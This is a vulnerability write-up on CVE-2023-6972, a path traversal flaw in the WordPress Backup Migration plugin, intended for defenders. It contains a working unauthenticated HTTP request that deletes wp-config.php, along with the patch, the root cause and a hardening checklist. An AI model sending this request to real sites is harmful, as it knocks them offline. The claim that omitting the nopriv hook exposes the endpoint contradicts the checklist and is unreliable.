The Exploit
An unauthenticated attacker with network access to a WordPress site running Backup Migration ≤1.3.9 can delete arbitrary files by sending a single POST request to the backup restoration endpoint, weaponizing unsanitized HTTP headers to traverse the filesystem.
POST /wp-admin/admin-ajax.php?action=bmi_restore HTTP/1.1
Host: target.wordpress.test
Content-Type: application/json
Content-Length: 2
Content-Backups: ../../../../wp-config.php
Content-Name: test
Content-Manifest: test
Content-Bmitmp: test
Content-Identy: test
{}
The server processes the Content-Backups header value directly into file operations without path validation. Within seconds, wp-config.php is deleted from the filesystem. An attacker observing the HTTP response receives a 200 OK with success indicators; checking the target site moments later reveals the WordPress database connection broken and the site non-functional, confirming file deletion.
What the Patch Did
Before
if (file_exists($this->fileList)) @unlink($this->fileList);
if (file_exists($this->dbfile)) @unlink($this->dbfile);
if (file_exists($this->manifest)) @unlink($this->manifest);
if (file_exists($this->backups)) @unlink($this->backups);
After
if (file_exists($this->fileList)) $this->unlinksafe($this->fileList);
if (file_exists($this->dbfile)) $this->unlinksafe($this->dbfile);
if (file_exists($this->manifest)) $this->unlinksafe($this->manifest);
if (file_exists($this->backups)) $this->unlinksafe($this->backups);
The patch introduced a new unlinksafe() wrapper method that enforces two critical security controls before deletion: (1) canonicalization via realpath() to collapse path traversal sequences (../) into their real filesystem location, and (2) an explicit blocklist check that refuses to delete files matching patterns like wp-config.php. The fix replaces the bare @unlink() calls with a function that validates the target path is within the plugin's intended backup directory and is not a WordPress core configuration file.
Root Cause
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The vulnerability originates in the HTTP header parsing layer. When a client sends headers like Content-Backups: ../../../../wp-config.php, the plugin's restore handler extracts these header values and assigns them directly to instance variables ($this->backups, $this->manifest, etc.) without any sanitization or path normalization. These tainted values then flow into file_exists() checks and unlink() calls. Because unlink() and file_exists() resolve relative paths and ../ sequences against the current working directory (typically the WordPress root), an attacker can use directory traversal syntax to escape the intended backup directory and reach any file the web server process has permission to delete. No authentication is required because the bmi_restore AJAX action is registered without the wp_ajax_nopriv hook, making it accessible to unauthenticated users.
Why It Works
The load-bearing line is realpath(), which collapses all ../ and symbolic link sequences to return the true absolute path. If realpath() were removed and only the blocklist remained, an attacker could still exploit symlinks or ambiguous path encodings to bypass the simple string matching. Conversely, if realpath() existed but the blocklist did not, an attacker could still delete arbitrary files outside the WordPress directory (e.g., /etc/passwd on a shared host, or sibling WordPress installations). The engineer added both to implement defense-in-depth: realpath() handles the path traversal syntax, and the blocklist prevents attacks that might use valid (canonical) paths to critical files. The file:// prefix stripping in the header-sending code is a secondary control that limits information disclosure, reducing the attack surface for reconnaissance.
Hardening Checklist
-
Implement
realpath()confinement before any file operation: All user-supplied or header-derived file paths must be passed throughrealpath(), and the returned value must be checked to ensure it begins with the intended base directory (e.g.,strpos($realpath, $backup_dir) === 0). This is the canonical WordPress pattern used in core file handling. -
Apply input filtering to HTTP headers at entry: Use
sanitize_text_field()or a custom regex validator on all custom HTTP headers before storing them in instance variables. Headers likeContent-Backupsshould match a whitelist pattern (e.g., alphanumeric + underscore only) or be rejected outright. -
Use a blocklist for sensitive files: Maintain an explicit array of WordPress and system files that must never be deleted (
wp-config.php,.htaccess,wp-load.php, etc.) and check the canonical path against this list before callingunlink(). -
Require authentication for file operations: Register AJAX restore actions with
wp_ajax_only (notwp_ajax_nopriv_) and enforce a capability check viacurrent_user_can('manage_options')before processing any file deletion request. -
Log and rate-limit file deletion attempts: Add
error_log()or a transient-based rate limit to detect rapid deletion attempts, which are a hallmark of automated attacks exploiting this class of vulnerability.
References
- https://nvd.nist.gov/vuln/detail/CVE-2023-6972